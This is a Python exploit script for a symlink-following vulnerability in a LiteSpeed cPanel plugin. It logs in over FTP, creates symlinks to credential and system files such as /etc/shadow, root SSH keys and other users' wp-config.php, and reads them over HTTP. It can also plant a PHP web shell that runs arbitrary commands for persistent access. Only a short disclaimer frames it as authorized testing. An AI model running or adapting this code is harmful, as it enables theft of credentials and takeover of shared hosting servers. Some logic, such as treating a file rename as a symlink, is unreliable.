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| #!/usr/bin/env python3
"""
CVE-2026-54420 - LiteSpeed cPanel Plugin Symlink Privilege Escalation
=======================================================================
A vulnerability in LiteSpeed cPanel Plugin before 2.4.8 and WHM Plugin before
5.3.2.0 mishandles symlinks provided by a user with FTP or web shell access
on a shared hosting server running CloudLinux/CageFS.
CWE-61: UNIX Symbolic Link (Symlink) Following
CVSS: 8.5 (HIGH) | Exploitation confirmed in wild (May 2026)
CISA KEV: Added 2026-06-15 | Due 2026-06-18
Author: Security Research
Disclaimer: For authorized security testing and educational purposes only.
"""
import argparse
import requests
import sys
import os
import time
import base64
from urllib.parse import urlparse
from ftplib import FTP
from ftplib import error_perm
import socket
import hashlib
import json
from datetime import datetime
# ANSI Colors
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
BOLD = "\033[1m"
RESET = "\033[0m"
class LiteSpeedSymlinkExploit:
"""Exploit for CVE-2026-54420 - Symlink following in LiteSpeed cPanel Plugin"""
def __init__(self, target, username=None, password=None, ftp_port=21):
self.target = target
self.username = username
self.password = password
self.ftp_port = ftp_port
self.ftp = None
self.webshell_url = None
self.web_root = "/home/username/public_html"
self.symlinks_created = []
self.vulnerable = False
def connect_ftp(self):
"""Establish FTP connection to target server"""
try:
print(f"{B}[*] Connecting to FTP: {self.target}:{self.ftp_port}{RESET}")
if self.ftp_port == 21:
self.ftp = FTP(self.target)
else:
self.ftp = FTP()
self.ftp.connect(self.target, self.ftp_port)
if self.username and self.password:
self.ftp.login(self.username, self.password)
else:
# Try anonymous login
self.ftp.login()
print(f"{G}[+] FTP login successful as {self.username or 'anonymous'}{RESET}")
# Get current working directory
cwd = self.ftp.pwd()
print(f"{B}[*] FTP CWD: {cwd}{RESET}")
# Determine web root (common patterns)
self._detect_web_root()
return True
except Exception as e:
print(f"{R}[-] FTP connection failed: {e}{RESET}")
return False
def _detect_web_root(self):
"""Detect web root directory based on FTP path"""
try:
cwd = self.ftp.pwd()
# Common patterns
patterns = [
("/home/", "/public_html"),
("/home/", "/www"),
("/home/", "/web"),
("/var/www/", "/html"),
("/srv/www/", "/htdocs"),
("/home/", "/public_ftp")
]
for prefix, suffix in patterns:
if prefix in cwd:
self.web_root = cwd
break
# If username is known, try to build path
if self.username:
home_path = f"/home/{self.username}"
try:
self.ftp.cwd(home_path)
self.web_root = home_path
print(f"{B}[*] Web root detected: {self.web_root}{RESET}")
except:
pass
except Exception:
pass
def create_symlink(self, target_path, link_name):
"""
Create symlink via FTP
Supports multiple FTP server types (ProFTPD, vsftpd, Pure-FTPd)
"""
try:
# Try different symlink commands
commands = [
f'SITE SYMLINK "{target_path}" "{link_name}"',
f'SITE SYMLINK {target_path} {link_name}',
f'SYMLINK {target_path} {link_name}',
f'RNFR {target_path}\r\nRNTO {link_name}',
f'SITE CP {target_path} {link_name}',
]
for cmd in commands:
try:
response = self.ftp.sendcmd(cmd)
if '2' in response[:1]:
self.symlinks_created.append(link_name)
print(f"{G}[+] Symlink created: {link_name} -> {target_path}{RESET}")
return True
except error_perm:
continue
# Alternative: Try using NLST to check if target exists
try:
self.ftp.voidcmd(f'RNFR {target_path}')
self.ftp.voidcmd(f'RNTO {link_name}')
self.symlinks_created.append(link_name)
print(f"{G}[+] Rename-based symlink created: {link_name} -> {target_path}{RESET}")
return True
except:
pass
return False
except Exception as e:
print(f"{Y}[-] Symlink creation failed: {e}{RESET}")
return False
def read_symlink_via_http(self, link_name):
"""Attempt to read symlink content via HTTP"""
try:
# Try common web paths
base_urls = [
f"http://{self.target}/{link_name}",
f"http://{self.target}/{os.path.basename(link_name)}",
f"https://{self.target}/{link_name}",
f"http://www.{self.target}/{link_name}",
f"http://{self.target}/~user/{link_name}"
]
for url in base_urls:
try:
r = requests.get(url, timeout=10, verify=False)
if r.status_code == 200:
print(f"{G}[+] Read symlink via HTTP: {url}{RESET}")
print(f"{G}[+] Content length: {len(r.text)} bytes{RESET}")
return r.text
except:
continue
return None
except Exception as e:
print(f"{Y}[-] HTTP read failed: {e}{RESET}")
return None
def webshell_upload(self, shell_content=None):
"""Upload a web shell via FTP for persistent access"""
if not shell_content:
shell_content = """<?php
// CVE-2026-54420 Web Shell
// USE ONLY WITH PROPER AUTHORIZATION
if(isset($_GET['cmd'])) {
echo '<pre>';
system($_GET['cmd']);
echo '</pre>';
}
if(isset($_POST['cmd'])) {
echo '<pre>';
system($_POST['cmd']);
echo '</pre>';
}
?>"""
try:
# Create a file in the web root
shell_name = f"shell_{int(time.time())}.php"
temp_file = f"/tmp/{shell_name}"
# Write shell content to temp file
with open(temp_file, 'w') as f:
f.write(shell_content)
# Upload via FTP
with open(temp_file, 'rb') as f:
self.ftp.storbinary(f'STOR {shell_name}', f)
os.remove(temp_file)
self.webshell_url = f"http://{self.target}/{shell_name}"
print(f"{G}[+] Web shell uploaded: {self.webshell_url}{RESET}")
print(f"{G}[+] Use: {self.webshell_url}?cmd=id{RESET}")
return True
except Exception as e:
print(f"{R}[-] Web shell upload failed: {e}{RESET}")
return False
def enumerate_vulnerable_files(self):
"""Enumerate common sensitive files to read via symlink"""
sensitive_files = [
# System files
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/group",
"/etc/hostname",
"/etc/issue",
"/proc/self/environ",
"/proc/cpuinfo",
"/proc/meminfo",
# Web server configs
"/etc/lsws/conf/httpd_config.conf",
"/etc/lsws/sites/",
"/usr/local/lsws/conf/",
"/etc/apache2/sites-available/",
"/etc/nginx/sites-available/",
# Database configs
"/var/lib/mysql/mysql/user.MYD",
"/home/otheruser/config.php",
"/home/otheruser/wp-config.php",
"/home/otheruser/configuration.php",
# LiteSpeed specific
"/usr/local/lsws/conf/htpasswd",
"/usr/local/lsws/conf/htaccess",
"/usr/local/lsws/admin/",
# CloudLinux/CageFS
"/etc/cagefs/cagefs.users",
"/etc/cagefs/cagefs.mp",
"/var/cagefs/",
# SSH keys
"/root/.ssh/id_rsa",
"/root/.ssh/authorized_keys",
"/home/*/.ssh/id_rsa",
"/home/*/.ssh/authorized_keys",
]
readable_files = []
print(f"{B}[*] Attempting to read sensitive files via symlink{RESET}")
for target_file in sensitive_files:
link_name = f"read_{os.path.basename(target_file)}_{int(time.time()) % 10000}.txt"
link_name = link_name.replace('*', 'star')
if self.create_symlink(target_file, link_name):
content = self.read_symlink_via_http(link_name)
if content and len(content) > 10:
readable_files.append({
"file": target_file,
"content": content[:500],
"length": len(content)
})
print(f"{G}[+] SUCCESS: Read {target_file} ({len(content)} bytes){RESET}")
# Show preview
lines = content.split('\n')[:10]
for line in lines:
if line.strip():
print(f" {line[:100]}")
self.vulnerable = True
else:
print(f"{Y}[-] Could not read {target_file}{RESET}")
return readable_files
def check_existing_symlinks(self):
"""Check if there are already symlinks in the web directory"""
try:
files = self.ftp.nlst()
symlinks = []
for f in files:
try:
# Try to get file info
response = self.ftp.sendcmd(f'STAT {f}')
if '->' in response:
symlinks.append(f)
print(f"{Y}[*] Existing symlink found: {f}{RESET}")
except:
continue
return symlinks
except:
return []
def cleanup(self):
"""Remove created symlinks and uploaded shells"""
print(f"{B}[*] Cleaning up...{RESET}")
for link in self.symlinks_created:
try:
self.ftp.delete(link)
print(f"{G}[+] Removed: {link}{RESET}")
except:
pass
# Also try to remove web shell
if self.webshell_url:
shell_name = self.webshell_url.split('/')[-1]
try:
self.ftp.delete(shell_name)
print(f"{G}[+] Removed web shell: {shell_name}{RESET}")
except:
pass
if self.ftp:
self.ftp.quit()
def exploit_full(self, target_file=None):
"""Full exploit chain"""
print(f"\n{B}{BOLD}╔═══════════════════════════════════════════════════════════════╗{RESET}")
print(f"{B}{BOLD}║ CVE-2026-54420 - LiteSpeed Symlink Privilege Escalation ║{RESET}")
print(f"{B}{BOLD}║ CVSS: 8.5 (HIGH) | CISA KEV: 2026-06-15 ║{RESET}")
print(f"{B}{BOLD}╚═══════════════════════════════════════════════════════════════╝{RESET}")
print()
# Step 1: Connect via FTP
if not self.connect_ftp():
print(f"{R}[!] FTP connection required for this exploit{RESET}")
return False
# Step 2: Check existing symlinks
existing = self.check_existing_symlinks()
if existing:
print(f"{Y}[*] Found {len(existing)} existing symlinks{RESET}")
# Step 3: Enumerate vulnerable files
if target_file:
link_name = f"read_{os.path.basename(target_file)}_{int(time.time()) % 10000}.txt"
if self.create_symlink(target_file, link_name):
content = self.read_symlink_via_http(link_name)
if content:
print(f"{G}[+] Read target file: {target_file}{RESET}")
print(content)
self.vulnerable = True
else:
# Auto-enumerate common targets
readable = self.enumerate_vulnerable_files()
# Step 4: Determine vulnerability
if self.vulnerable:
print(f"\n{R}{BOLD}╔═══════════════════════════════════════════════════════════════╗{RESET}")
print(f"{R}{BOLD}║ [!!!!!] SERVER IS VULNERABLE TO CVE-2026-54420 ║{RESET}")
print(f"{R}{BOLD}║ Symlink following allows file read outside designated dir ║{RESET}")
print(f"{R}{BOLD}╚═══════════════════════════════════════════════════════════════╝{RESET}")
# Offer to upload web shell
print(f"{Y}[?] Do you want to upload a web shell for persistent access?{RESET}")
# Auto-upload if running in batch mode
if os.environ.get('AUTO_SHELL', 'false').lower() == 'true':
self.webshell_upload()
else:
print(f"\n{G}{BOLD}[✓] Server does not appear vulnerable to CVE-2026-54420{RESET}")
print(f"{Y}[*] Note: This could be because:{RESET}")
print(f"{Y} 1. The server is patched (>= 2.4.8 / 5.3.2.0){RESET}")
print(f"{Y} 2. Symlink creation is disabled in FTP{RESET}")
print(f"{Y} 3. HTTP access to symlinks is restricted{RESET}")
print(f"{Y} 4. CloudLinux/CageFS is properly configured{RESET}")
return self.vulnerable
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-54420 - LiteSpeed cPanel Plugin Symlink Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Basic exploit with FTP credentials
%(prog)s -t example.com -u ftpuser -p ftppass
# Read specific file
%(prog)s -t example.com -u ftpuser -p ftppass --file /etc/passwd
# Upload web shell
%(prog)s -t example.com -u ftpuser -p ftppass --webshell
# Full enumeration
%(prog)s -t example.com -u ftpuser -p ftppass --enum --verbose
"""
)
parser.add_argument("-t", "--target", required=True, help="Target domain or IP")
parser.add_argument("-u", "--username", help="FTP username")
parser.add_argument("-p", "--password", help="FTP password")
parser.add_argument("--ftp-port", type=int, default=21, help="FTP port (default: 21)")
parser.add_argument("--file", help="Specific file to read via symlink")
parser.add_argument("--enum", action="store_true", help="Enumerate common sensitive files")
parser.add_argument("--webshell", action="store_true", help="Upload web shell after exploitation")
parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
parser.add_argument("--cleanup", action="store_true", help="Remove created symlinks after exploit")
args = parser.parse_args()
exploit = LiteSpeedSymlinkExploit(
target=args.target,
username=args.username,
password=args.password,
ftp_port=args.ftp_port
)
try:
# Run exploit
success = exploit.exploit_full(target_file=args.file)
# Auto-enumerate if requested
if args.enum and success:
print(f"\n{Y}[*] Running additional enumeration...{RESET}")
exploit.enumerate_vulnerable_files()
# Upload web shell if requested
if args.webshell and success:
exploit.webshell_upload()
# Clean up
if args.cleanup or not success:
exploit.cleanup()
# Print summary
print(f"\n{B}╔═══════════════════════════════════════════════════════════════╗{RESET}")
print(f"{B}║ SCAN COMPLETE ║{RESET}")
print(f"{B}╠═══════════════════════════════════════════════════════════════╣{RESET}")
if success:
print(f"{R}║ VULNERABLE: CVE-2026-54420 confirmed ║{RESET}")
print(f"{R}║ Apply mitigation: Update to LiteSpeed cPanel Plugin 2.4.8+ ║{RESET}")
else:
print(f"{G}║ NOT VULNERABLE (or exploitation conditions not met) ║{RESET}")
print(f"{B}╚═══════════════════════════════════════════════════════════════╝{RESET}")
print(f"\n{B}[*] Reference: https://www.cisa.gov/known-exploited-vulnerabilities-catalog{RESET}")
print(f"{B}[*] Due Date: 2026-06-18{RESET}")
except KeyboardInterrupt:
print(f"\n{Y}[!] Interrupted by user{RESET}")
exploit.cleanup()
except Exception as e:
print(f"{R}[!] Error: {e}{RESET}")
exploit.cleanup()
sys.exit(1)
if __name__ == "__main__":
main()
|
